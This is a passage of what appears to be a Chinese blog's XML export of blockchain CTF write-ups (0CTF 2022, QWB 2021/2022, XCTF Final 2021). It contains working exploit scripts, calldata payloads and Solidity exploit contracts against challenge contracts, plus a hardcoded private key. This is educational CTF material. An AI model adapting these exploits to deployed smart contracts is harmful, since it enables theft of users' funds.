== 1: print('transfer(attack_address,2) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='purchaseOrder(uint256)').hex()[:10]data += '1'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(TctfMarket_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('purchaseOrder(1) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='createOrder(address,uint256,uint256)').hex()[:10]data += attack_address[2:].rjust(64, '0')data += '3'.rjust(64, '0')data += '1'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(TctfMarket_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('createOrder(attack,3,1) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='purchaseOrder(uint256)').hex()[:10]data += '0'.rjust(64, '0')txn = generate_tx(chain_id, Web3.toChecksumAddress(TctfMarket_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('purchaseOrder(0) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='attackfor3(uint8,bytes32,bytes32)').hex()[:10]data += v[2:].rjust(64,'0')data += r[2:].rjust(64,'0')data += s[2:].rjust(64,'0')txn = generate_tx(chain_id, Web3.toChecksumAddress(attack_address), data, 0)txn_receipt = sign_and_send(txn)# print(txn_receipt)if txn_receipt['status'] == 1: print('attackfor3(v,r,s) success')else: exit(0)time.sleep(_time)data = Web3.keccak(text='attack4()').hex()[:10]txn = generate_tx(chain_id, Web3.toChecksumAddress(attack_address), data, 0)txn_receipt = sign_and_send(txn)if txn_receipt['status'] == 1: print('attack4() success')else: exit(0)time.sleep(_time)print("EOA account",public)print("token1 owner:",TctfNFT_contract.functions.ownerOf(1).call())print("token2 owner:",TctfNFT_contract.functions.ownerOf(2).call())print("token3 owner:",TctfNFT_contract.functions.ownerOf(3).call())]]></content>
<categories>
<category>0ctf 2022</category>
</categories>
<tags>
<tag>0ctf2022</tag>
<tag>NFT</tag>
</tags>
</entry>
<entry>
<title><![CDATA[qwb2022 第六届强网杯线上赛区块链 bytebyte]]></title>
<url>%2F2022%2Fbytebyte%2F</url>
<content type="text"><![CDATA[前言 第六届 qwb 线下赛 bytebyte 赛题 WP 恭喜中国科学技术大学师傅一血 考点是 Return Oriented Programming revenge of EGM,堆栈细节可参考 https://hitcxy.com/2020/egm/ 相比于 EGM ,bytebyte 调整了循环变量的位置,循环变量是个范围,按照个人的构思,如果 calldata 长度是 4+32*11 字节,则这个值是固定的,变相让循环变量起到固定 canary 的作用,不过也不能排除更短的 calldata,所以题目设计是比较 calldata 的数值大小。 Source16210000060405260043610610073576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638d715d9d1461024557806360fe47b11461031a5780636d4ce63c1461035557806335f4699414610372578063b4a99a4e1461038157610073565b610078565b600080fd600060006000600060005b61012061010052565b6101005190565b60206101005101806101005252565b6101005151602061010051036101005290565b61010052565b6100ca610100516100975b565b565b6100d66100a6565b6100de6100a6565b6100e7906100b9565b565b6100f1610087565b565b34156100cc57610078565b6101086000610097565b5b7f01000000000000000000000000000000000000000000000000000000000000006101005151602061010051035101510415610152575b60016101005151016101005152610109565b61015a6100a6565b6101626100a6565b506100ce565b6103916101406097565b5b6020610100510351610100515103156101d9577f0100000000000000000000000000000000000000000000000000000000000000610100515160606101005103510151046101005151604061010051035101535b60016101005151016101005152610391565b60006101005151604061010051035101535b60406101005151061561021c5760006101005151604061010051035101535b600161010051510161010051526101eb565b6102246100a6565b5061022d6100a6565b506102366100a6565b5061023f6100a6565b506100ce565b61024d6100e9565b6102576000610097565b610100516102656212345650565b36602462013000376102756100bf565b61028061034f610097565b61028c62013000610097565b61029534610097565b6102a160243603610097565b610168565b6102ae6100bf565b6102b96102c7610097565b6102c281610097565b6100fe565b6020610100510381602060408303526020820352602060208203510660208203510360200160400160408203f35b610100515160206101005103515561030b6100a6565b506103146100a6565b506100ce565b6103226100f3565b61032a6100bf565b61033561034f610097565b610340600435610097565b61034a6000610097565b6102f5565b60006000f35b61035d6100f3565b60005433146100785760005460805260206080f35b60665433141561007857606654ff5b6066543314156100785733606655005b604061010051035160206101005103510315610403577f0100000000000000000000000000000000000000000000000000000000000000604061010051035160606101005103510151046101005151604061010051035101535b60016040610100510351016040610100510352610391565b600061010051516040610100510351015360406040610100510351061561021c5760006101005151604061010051035101535b60016040610100510351016040610100510352610415565b505050505050505050505050505050505050505050505050505050505050505050505050505050 Analyse 题目会将 calldata[24:] 拷贝到 0x140 位置,其中 0x9f 是循环计数器是个变量,既要覆盖 0x2f5(返回的栈帧位置),又要满足拷贝的循环正常终止,所以是个范围值,所以题目设置的最小的 calldata 如下(比较大小会将 msg.sender 设置为0,所以不影响) 题目设置的最小的 calldata 如下 123456789101112data = '0x8d715d9d'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000260'data += '00000000000000000000000000000000000000000000000000000000000002f5'data += '0000000000000000000000000000000000000000000000000000000000013000'data += '000000000000000000000000000000000000000000000000000000000000009f'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '000000000000000000000000000000000000000000000000000000000000034f'data += '0000000000000000000000000000000000000000000000000000000000000066'data += '000000000000000000000000715e68C887512022164b9f3F28439e9d12FFF5e1' 一血队伍的 calldata 更短更巧妙,通过让循环计数器 i 覆盖为终止值的方式,使得循环计数器后面的数据不再会被用到,所以不需要避开它们,这时只要使用 0x13000 之后的 offset 就可以让 ROP 正常执行,于是可以节约两个数如下 12345678910data = '0x8d715d9d'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '00000000000000000000000000000000000000000000000000000000000130e0'data += '00000000000000000000000000000000000000000000000000000000000002f5'data += '0000000000000000000000000000000000000000000000000000000000013000'data += '00000000000000000000000000000000000000000000000000000000000000ff'data += '000000000000000000000000000000000000000000000000000000000000034f'data += '0000000000000000000000000000000000000000000000000000000000000066'data += '0000000000000000000000000123456789012345678901234567890123456789']]></content>
<categories>
<category>qwb2022</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>qwb2022</tag>
</tags>
</entry>
<entry>
<title><![CDATA[chainflag]]></title>
<url>%2F2021%2Fchainflag%2F</url>
<content type="text"><![CDATA[欢迎关注 chainflag 平台 Hello 👀 之前和各位师傅(iczc tkmk syang ver PandaTea Soreat_u 排名不分先后)想到的建立一个关于区块链 CTF OJ 的想法,现在我们的区块链 CTF 题目训练平台已经正式上线了 平台已经能初步使用,后续还会进一步完善,小伙伴可进群交流,如果二维码过期失效,可联系我进群哦,嘻嘻嘻嘻 发起想法:CTF 中的具体细分方向有 pwnable.kr、reversing.kr、cryptohack 等训练学习平台,但区块链作为一个新兴方向还没有一个相应的学习社区,于是设想我们建立一个 github 开源组织,定位是关于区块链 CTF 与区块链安全 平台上的题目会在 https://github.com/chainflag/ctf-blockchain-challenges 以开源的形式进行协作。除了训练平台还有一些与区块链CTF/区块链安全相关的项目在 https://github.com/chainflag 下开源]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>tools</tag>
<tag>chainflag</tag>
</tags>
</entry>
<entry>
<title><![CDATA[qwb2021 第五届强网杯线上赛区块链]]></title>
<url>%2F2021%2Fqwb2021%2F</url>
<content type="text"><![CDATA[前言 第五届 qwb,blockchains 的 WP,勿喷 随时欢迎大家来交流,别喷就好,谢谢 没有官方 WP ,我只是自己写着玩 题目环境保留到 2021 年 6 月 18 日,想要验证测试的小伙伴可以自行测试 BabyAEG 考点:智能合约自动化漏洞利用 为了让不知道 AEG 的小伙伴也能做出来,就没有设置那么多模式及复杂的模式,如果你愿意模式匹配,花时间也是可以做的 看了 WP ,所有队伍都是模式匹配做的,这里不介绍模式匹配解法 参考 teEther: Gnawing at Ethereum to Automatically Exploit Smart Contracts,论文发表于 27th USENIX Security Symposium (Usenix Security 18) 具体参考脚本,不具体分析了,想要深入了解的可以研读文章(逃 XD EXP 完全自动化脚本,也不用单独去申请 EOA 账户的 Ether 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180from pwn import *import re,hashlib,random,stringfrom web3 import Web3, HTTPProviderfrom teether.exploit import combined_exploitfrom teether.project import Projectimport time,requestsw3 = Web3(Web3.HTTPProvider("http://8.140.174.230:8545"))private = "f35bd686fe298c6b1f1f50d4db33f0e65cef843573e0e52303ef22219a9fe95c"public = "0x52cC2403764380CCa583633d2523999FE5077113"# context.log_level=Truecontext.terminal = ["deepin-terminal","-x","sh","-c"]remote_addr=['8.140.174.230', 10001]p=remote(remote_addr[0],remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x ,drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)pi = lambda : p.interactive()def dbg(b =""): gdb.attach(io , b) raw_input()def lg(s): log.info('\033[1;31;40m %s' % (s))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8,'\x00'))def passpow(): rud('Firstly, please give me the proof of your work in 20 seconds!\n') s = rl().decode('utf-8') print(s) prefix = re.split('\(', s)[1][:8] print(prefix) difficulty = 20 print(difficulty) while 1: answer=''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) bits=bin(int(hashlib.sha256((prefix+answer).encode()).hexdigest(),16))[2:] if bits.endswith('0'*difficulty): print(answer) sl(answer) returndef challenge(): rud('[+] Challenge') lg(rl().decode('utf-8')) # lg(rl().decode('utf-8')) rud('[+] Transaction hash for deploying contract:') deploy_contract_tx = rl().decode('utf-8').strip() # lg(deploy_contract_tx) contract_address = w3.eth.get_transaction_receipt(deploy_contract_tx)['contractAddress'] # lg(contract_address) bytecode = w3.eth.get_code(Web3.toChecksumAddress(contract_address)) # lg(bytecode.hex()) return contract_address, bytecodedef generate_tx(chainID, to, data, value): if(type(to) is int): to = '0x'+hex(to)[2:].rjust(40,'0') txn = { 'chainId': chainID, 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(to), 'gasPrice': w3.eth.gasPrice, 'gas': 3000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(value, 'ether'), 'data': data, } return txndef sign_and_send(txn): signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) # print("txn_hash=", txn_hash) return txn_hash, txn_receiptdef main(bytecode, target_addr, shellcode_addr, amount, savefile=None, initial_storage_file=None, initial_balance=None, flags=None): p = Project(bytecode) amount_check = '+' amount = amount if amount[0] in ('=', '+', '-'): amount_check = amount[0] amount = amount[1:] amount = int(amount) initial_storage = dict() if initial_storage_file: with open(initial_storage_file, 'rb') as f: initial_storage = {int(k, 16): int(v, 16) for k, v in json.load(f).items()} flags = flags or {'CALL', 'CALLCODE', 'DELEGATECALL', 'SELFDESTRUCT'} result = combined_exploit(p, int(target_addr, 16), int(shellcode_addr, 16), amount, amount_check, initial_storage, initial_balance, flags=flags) if result: call, r, model = result for c in call: if c['caller'] == c['origin']: data = "0x" + c.get('payload', b'').hex() to = shellcode_addr value = c['value'] # print(value) # print(w3.eth.gasPrice) if(value != 0): value = 3 txn = generate_tx(8888, to, data, value) txn_hash, txn_receipt = sign_and_send(txn) # print(txn_hash) # print(txn_receipt) time.sleep(2) else: data = "0x" + c.get('payload', b'').hex() to = c['caller'] value = c['value'] # print(value) if(value != 0): value = 3 txn = generate_tx(8888, to, data, value) txn_hash, txn_receipt = sign_and_send(txn) # print(txn_hash) # print(txn_receipt) time.sleep(2) return True, txn_hash return False, ""if __name__ == '__main__': passpow() count = 0 rud('[+] Your EOA account:') address = rl().decode().strip('').strip('\n') lg(address) rud('Whether your EOA account has enough eth?(y or n): ') res = requests.post(url='http://8.140.174.230/api/',json={'address': address},headers={'Content-Type':'application/json'}) if(res.status_code == 200): time.sleep(3) sl('y') while 1: contract_address, bytecode = challenge() solved, txn_hash = main(bytecode, public, contract_address, "-1000") if solved: sla("[-] Input your txhash that empty contract's balance: ", txn_hash) lg(rl().decode('utf-8')) count += 1 if count == 25: sla("[-] input your team token: ", 'icq12345678900987654321123456789') rud("[+] flag:") lg(rl().strip().decode()) break # pi() Result OneGadget 一键通关,名字可能稍有不恰,不要介意 题目不难,比较简单,简称套娃合约 🐶 ,逆向分析出逻辑关系即可 一个 payload 通关所有合约关卡即可 Source 放出源码,不再作分析 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394pragma solidity 0.4.24;contract Level { Level public next; constructor(Level next_) public { next = next_; } function GetSelector() public view returns (bytes4); modifier _() { _; assembly { let next := sload(next_slot) if iszero(next) { return(0, 0) } mstore(0x00, 0x7432214c00000000000000000000000000000000000000000000000000000000) pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04)) calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04)) switch call(gas(), next, 0, 0, calldatasize(), 0, 0) case 0 { returndatacopy(0x00, 0x00, returndatasize()) revert(0x00, returndatasize()) } case 1 { returndatacopy(0x00, 0x00, returndatasize()) return(0x00, returndatasize()) } } }}contract OneGadget is Level { constructor() public Level(new Level1()) {} function GetSelector() public view returns (bytes4) { return this.solve.selector; } bool public solved; function solve(uint8 v, bytes32 r, bytes32 s) public _ { require(ecrecover(keccak256("solved"), v, r, s) == 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF); solved = true; }}contract Level1 is Level { constructor() public Level(new Level2()) {} function GetSelector() public view returns (bytes4) { return this.solve.selector; } function solve(bytes20 guess) public _ { require(guess == bytes20(blockhash(block.number - 1))); }}contract Level2 is Level { constructor() public Level(new Level3()) {} function GetSelector() public view returns (bytes4) { return this.solve.selector; } function solve(uint16 a, uint16 b) public _ { require(a > 0 && b > 0 && a + b < a); }}contract Level3 is Level { constructor() public Level(new Level4()) {} function GetSelector() public view returns (bytes4) { return this.solve.selector; } function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ { require(keys[idx % 4] == lock[idx % 4]); require(keys[2] - keys[3] == keys[0] - keys[1]); for (uint j = 0; j < keys.length; j++) { require((keys[j] - lock[j]) % 2 == 0); } }}contract Level4 is Level { constructor() public Level(Level(0x00)) {} function GetSelector() public view returns (bytes4) { return this.solve.selector; } function solve(bytes32[6] choices, uint choice) public _ { require(choices[choice % 6] == keccak256("choose")); }} EXP 自行部署 12345678910111213141516171819202122232425contract Exploit { constructor(OneGadget entry) public { bytes memory payload = abi.encodePacked( entry.solve.selector, uint256(uint16(0xff1b) | uint256(bytes32(bytes20(blockhash(block.number - 1))))), bytes32(0x3ec07bbb0fe7fd6e6d2abbb5f0a0c9947173da8daa5265f6231beea212772585), bytes32(0x26236f50af44e91e608d5946b411a4f86a83ace0543bf8efca7bee233d1f98db), bytes32(keccak256("choose")), bytes32(0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec), bytes32(0x3ec07bbb0fe7fd6e6d2abbb5f0a0c9947173da8daa5265f6231beea212772585), bytes32(uint(3)), bytes32(keccak256("choose")), bytes32(0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec) ); assembly { switch call(gas(), entry, 0, add(payload, 0x20), 292, 0, 0) case 0 { returndatacopy(0x00, 0x00, returndatasize()) revert(0x00, returndatasize()) } } }}]]></content>
<categories>
<category>qwb2021</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>qwb2021</tag>
</tags>
</entry>
<entry>
<title><![CDATA[XCTF FINAL 2021 FlyToMoon]]></title>
<url>%2F2021%2Fxctf-final-2021%2F</url>
<content type="text"><![CDATA[前言 XCTF FINAL 二次出题,清晰记得 19 年那次出题的痛,被各位师傅硬是玩成了 AWD 模式,惨惨 回想出题模式由最开始的共享地址 -> 采取随机数部署不同的地址 -> geth + POA 禁用部分 API ,让选手有更公平的做题体验,防止“抄作业”,也算比较圆满了 本次题目也比较水,借鉴 balsn-Election 的 ABI Encoding 考点,随便写写 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175pragma solidity =0.6.12;pragma experimental ABIEncoderV2;interface IERC223 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address to, uint value) external returns (bool); function transfer(address to, uint value, bytes memory data) external returns (bool); function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data);}contract ERC223 is IERC223 { string public override name; string public override symbol; uint8 public override decimals; uint public override totalSupply; mapping (address => uint) private _balances; string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)"; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; decimals = 18; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address to, uint value) public override returns (bool) { return _transfer(msg.sender, to, value, "", _tokenFallback); } function transfer(address to, uint value, bytes memory data) public override returns (bool) { return _transfer(msg.sender, to, value, data, _tokenFallback); } function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) { return _transfer(msg.sender, to, value, data, customFallback); } function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) { require(from != address(0), "ERC223: transfer from the zero address"); require(to != address(0), "ERC223: transfer to the zero address"); require(_balances[from] >= value, "ERC223: transfer amount exceeds balance"); _balances[from] -= value; _balances[to] += value; if (_isContract(to)) { (bool success,) = to.call{value: 0}( abi.encodeWithSignature(customFallback, msg.sender, value, data) ); assert(success); } emit Transfer(msg.sender, to, value, data); return true; } function _mint(address to, uint value) internal { require(to != address(0), "ERC223: mint to the zero address"); totalSupply += value; _balances[to] += value; emit Transfer(address(0), to, value, ""); } function _isContract(address addr) internal view returns (bool) { uint length; assembly { length := extcodesize(addr) } return (length > 0); }}contract FlyToMoon is ERC223 { struct Person { string name; uint age; string introduction; } address public owner; bytes32[] Hashes; uint public stage; bool private flag1; bool private flag2; bool private flag3; bool private flag4; string public solved = "begin"; constructor() public ERC223("FlyToMoon", "FTM") { owner = msg.sender; } modifier auth { require(msg.sender == address(this) || msg.sender == owner, "FlyToMoon: not authorized"); _; } function game1(address _person, Person memory person, bool flag) public { require(stage==0 && flag); require(person.age > 20, "BabyEncode: only your age > 20 can paly this game"); flag1 = true; stage = 1; } function game2(uint from, uint idx, uint password, uint len, Person[] memory persons) public auth { require(stage == 1); require(Hashes[idx] == keccak256(abi.encode(persons)), "FlyToMoon: hash incorrect"); require(Hashes[idx+1] == keccak256(abi.encode(password)), "FlyToMoon: password incorrect"); require(Hashes[idx+2] == keccak256(abi.encode(len)), "FlyToMoon: len incorrect"); require(_stringCompare(persons[0].name, "btc") && _stringCompare(persons[1].introduction, "fly to moon")); flag2 = true; } function game3(uint from, uint _len) public auth { uint len; require(stage == 2 && flag2); assembly { len := sload(6) } require(len==_len); flag3 = true; stage = 3; } function game4(uint _time, Person memory person, uint flag) public auth { require(stage == 3); require(_stringCompare(person.name, "pikapika")); flag4 = true; } function sethash(bytes32 _hash) public { Hashes.push(_hash); } function isSolved() public { uint tmp; assembly { tmp := sload(8) } if (keccak256(abi.encodePacked(tmp)) == 0xffc411432425ed5cecf9384ab99646c1825e1fe40ce46b953350782d81a6ecc1) { if (balanceOf(address(this)) == 10) { solved = "Fly to Moon"; } } else { solved = "Tian Tai Jian"; } } function giveMeMoney() public { require(balanceOf(msg.sender) == 0, "FlyToMoon: you're too greedy"); _mint(msg.sender, 1); } function _setStage(uint _stage, uint idx, string memory _command) public auth { require(_stringCompare(_command, "Let me set stage, please!!!!!!!!")); stage = _stage & 0xff; for(uint i=0; i<=idx; i++) { Hashes.push(0); } } function _stringCompare(string memory a, string memory b) internal pure returns (bool) { return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)); }} Analyse 具体分析过程及原因就不写了,不太懂的小伙伴可以翻一番前面的博客,自行理解的过程会比简单看一篇 WP 帮助更大 ~~其实是我偷懒 :D~~ 目标成功调用 game2 和 game3 生成末尾为 01 的账户 使用 transfer 调用 setstage(1) 1234to: 题目地址value: 0data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121cus: "_setStage(uint256,uint256,string)" sethash(0x230fd66aacfe66f0e897312a7aefa3bcd51406d9831619983aca15c7f601ba77) 下述脚本可计算 [[“btc”, 100, “test1”], [“test2”, 200, “fly to moon”]] 的编码 1234567891011121314pragma solidity =0.6.12;pragma experimental ABIEncoderV2;contract Vault { struct Person { string name; uint age; string introduction; } function ballotEncode(Person[] memory persons) pure public returns (bytes32){ return keccak256(abi.encode(persons)); }} sethash(0x41c7ae758795765c6664a5d39bf63841c71ff191e9189522bad8ebff5d4eca98) 1keccak256(abi.encode(0x60)) sethash(0xd971d7a75d56a87205c10f76d77a1984a94b99f0ba39ec86813b6d42a571a285) 1keccak256(abi.encode(0x240)) 使用末尾为 01 的账户调用 giveMeMoney() 使用 transfer 调用 game2(from, 1, 0x60, 0x240, [[“btc”, 100, “test1”], [“test2”, 200, “fly to moon”]]) 1234to: 题目地址value: 1data: 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003627463000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000057465737431000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c800000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000057465737432000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b666c7920746f206d6f6f6e000000000000000000000000000000000000000000cus: "game2(uint256,uint256,uint256,uint256,(string,uint256,string)[])" 生成末尾为 02 的账户 使用 transfer 调用 setstage(2) 1234to: 题目地址value: 0data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121cus: "_setStage(uint256,uint256,string)" 使用下述脚本,times = 0x9, 使 02 账户金额为 0x9 12345678910contract son { EncodeGame target = EncodeGame(题目地址); function getmoney(uint times) public { for (uint i=0; i<times; i++) { target.giveMeMoney(); target.transfer(0x02账户, 1, "", ""); } }} 使用 transfer 调用 game3(from, 5) 1234to: 题目地址value: 5data: 0x01cus: "game3(uint256,uint256)" 使用 transfer 调用 setstage(2) 1234to: 题目地址value: 4data: 0x4c6574206d65207365742073746167652c20706c656173652121212121212121cus: "_setStage(uint256,uint256,string)" 调用 isSolved]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>xctf final</tag>
<tag>FlyToMoon</tag>
</tags>
</entry>
<entry>
<title><![CDATA[CTF 区块链题目防抄作业]]></title>
<url>%2F2021%2Fctf-eth-env%2F</url>
<content type="text"><![CDATA[ctf 区块链防抄作业的环境 geth 私链 + POA 我只是个无情的搬运工,在第六届 xctf final 中初次使用,不知道做题的师傅什么感觉 👉 https://github.com/chainflag/ctf-eth-env 👈 欢迎 star 有想法的师傅也可以加入我们 chainflag 🙈 没有实质性内容,水文,勿喷 👀 具体的想法介绍参考 https://www.iczc.me/post/solution-for-a-fair-ctf-blockchain-env/]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>tools</tag>
</tags>
</entry>
<entry>
<title><![CDATA[CTF Wiki 上加入 Blockchain 专栏]]></title>
<url>%2F2021%2Fctf-wiki%2F</url>
<content type="text"><![CDATA[前言 最近和 tkmk 师傅、 syang 师傅、 Ver 师傅(不分顺序)花了一周的时间,在 CTF Wiki 上写了关于 Blockchain 的 Topic,这里是 👉 CTF Wiki 入口 👈 初心是想着留下点什么东西,如果有小伙伴发现问题可以提 issue,我们看到会及时回复并进行更改 如果有想要补充关于 Blockchain 内容的小伙伴,也可以联系我 同时我们建立了一个 Chain Flag Organization,这里是 👉 Chain Flag 入口 👈 ,欢迎关注 👀 ,有兴趣的小伙伴也可以加入我们 我在摸鱼~ 后续 iczc 师傅还会补充其他公链安全相关内容,敬请期待 challenges 列表 Chain Flag 的 ctf-blockchain-challenges 仓库搜集了历年来关于区块链的题目,也欢迎大家进行 fork 按照格式进行补充 下面列举了相应题目对应的 WP 链接 2021RealWorld 题目名称 Re: Montagy WP 链接 0ops syang pikachu 题目名称 EasyDefi WP 链接 https://blog.syang.xyz/2021/01/realworldctf-2020-ethereum/ 题目名称 billboard WP 链接 https://github.com/iczc/billboard/blob/main/writeup/readme.md 🌟ctf 题目名称 StArNDBOX WP 链接 https://hitcxy.com/2021/6-ctf2021/ 2020高校战“疫”网络安全分享赛 题目名称 OwnerMoney WP 链接 https://hitcxy.com/2020/OwnerMoney/ rctf 题目名称 roiscoin WP 链接 https://hitcxy.com/2020/rctf2020-roiscoin/ 第五空间 题目名称 CreativityPlus WP 链接 https://hitcxy.com/2020/creativityplus/ 题目名称 SafeDelegatecall WP 链接 https://hitcxy.com/2020/creativityplus/ 第一届钓鱼城杯 题目名称 StrictMathematician WP 链接 https://hitcxy.com/2020/strictmathematician/ QWB 题目名称 IPFS WP 链接 https://hitcxy.com/2020/qwb2020/ 题目名称 EasyAssembly WP 链接 https://hitcxy.com/2020/qwb2020/ 题目名称 EasyFake WP 链接 https://hitcxy.com/2020/qwb2020/ 题目名称 EasySandbox WP 链接 https://hitcxy.com/2020/qwb2020/ 题目名称 EthGaMe (EGM) WP 链接 https://hitcxy.com/2020/egm/ 题目名称 EBK WP 链接 待补充 balsn 题目名称 Election WP 链接 shw pikachu 题目名称 IdleGame WP 链接 https://x9453.github.io/2021/03/12/Balsn-CTF-2020-IdleGame/ 华为云安全 题目名称 ethenc WP 链接 https://hitcxy.com/2020/ethenc/ 华为鲲鹏计算 题目名称 boxgame WP 链接 https://hitcxy.com/2020/boxgame/ 华为鸿蒙 题目名称 ContractGame WP 链接 https://hitcxy.com/2020/contractgame/ 2019RealWorld 题目名称 Montagy WP 链接 https://x9453.github.io/2020/01/26/Real-World-CTF-Finals-2019-Montagy/ balsn-ctf 题目名称 Bank WP 链接 shw pikachu 题目名称 Creativity WP 链接 shw pikachu CISCN 题目名称 Daysbank WP 链接 https://www.jianshu.com/p/993b513dca97 sissel QWB 题目名称 babybank WP 链接 https://beafb1b1.github.io/blockchain/qwb2019_babybank_babybet/ 题目名称 babybet WP 链接 https://beafb1b1.github.io/blockchain/qwb2019_babybank_babybet/ Byte 题目名称 bet WP 链接 https://beafb1b1.github.io/blockchain/byte2019_bet_hf/ 题目名称 hf WP 链接 https://beafb1b1.github.io/blockchain/byte2019_bet_hf/ N1CTF 题目名称 h4ck WP 链接 https://hitcxy.com/2019/h4ck/ 数字经济 题目名称 cow WP 链接 https://github.com/beafb1b1/challenges/tree/master/szjj/ssjj_final_cow_rise/cow 题目名称 rise WP 链接 https://github.com/beafb1b1/challenges/tree/master/szjj/ssjj_final_cow_rise/rise 题目名称 jojo WP 链接 https://hitcxy.com/2019/jojo/ RoarCTF 题目名称 CoinFlip WP 链接 https://hitcxy.com/2019/CoinFlip/ Hackergame 题目名称 JCBank WP 链接 https://hitcxy.com/2019/JCBank/ xctf final 题目名称 Happy_DOuble_Eleven WP 链接 https://hitcxy.com/2019/Happy-DOuble-Eleven/ D^3CTF 题目名称 bet2loss_v2 WP 链接 https://hitcxy.com/2019/bet2loss-v2/ De1CTF 题目名称 Easy EOS WP 链接 官方WP f0rm2l1n_wp1 f0rm2l1n_wp2 2018RealWorld 题目名称 Acoraida Monica WP 链接 https://github.com/xhyumiracle/defcon27 hctf 题目名称 ethre WP 链接 https://xz.aliyun.com/t/3261#toc-20 题目名称 bet2loss WP 链接 https://paper.seebug.org/740/#bet2loss 题目名称 ez2win WP 链接 https://paper.seebug.org/740/#ez2win bibi BCTF 题目名称 Fake3d WP 链接 https://beafb1b1.github.io/blockchain/bctf2018_fake3d_eosgame/ 题目名称 EOSGAME WP 链接 https://beafb1b1.github.io/blockchain/bctf2018_fake3d_eosgame/ WCTF 题目名称 BelluminarBank WP 链接 https://github.com/beched/ctf/tree/master/2018/wctf-belluminar/belluminarbank LCTF 题目名称 easy little trick WP 链接 https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy%20little%20trick 题目名称 ggbank WP 链接 https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank startctf 题目名称 web-smart_contract WP 链接 https://github.com/sixstars/starctf2018/tree/c3eba167d84e7f89f704369c933703951a54f315/web-smart_contract DDCTF 题目名称 mini blockchain WP 链接 https://www.anquanke.com/post/id/105835 2017dctf 题目名称 spock-lizard-alpha WP 链接 https://github.com/CCSIR/dctf-2017/tree/master/finals/blockchain/rock-paper-scissors-spock-lizard-alpha 题目名称 spock-lizard-beta WP 链接 https://github.com/CCSIR/dctf-2017/tree/master/finals/blockchain/rock-paper-scissors-spock-lizard-beta 题目名称 spock-lizard-omega 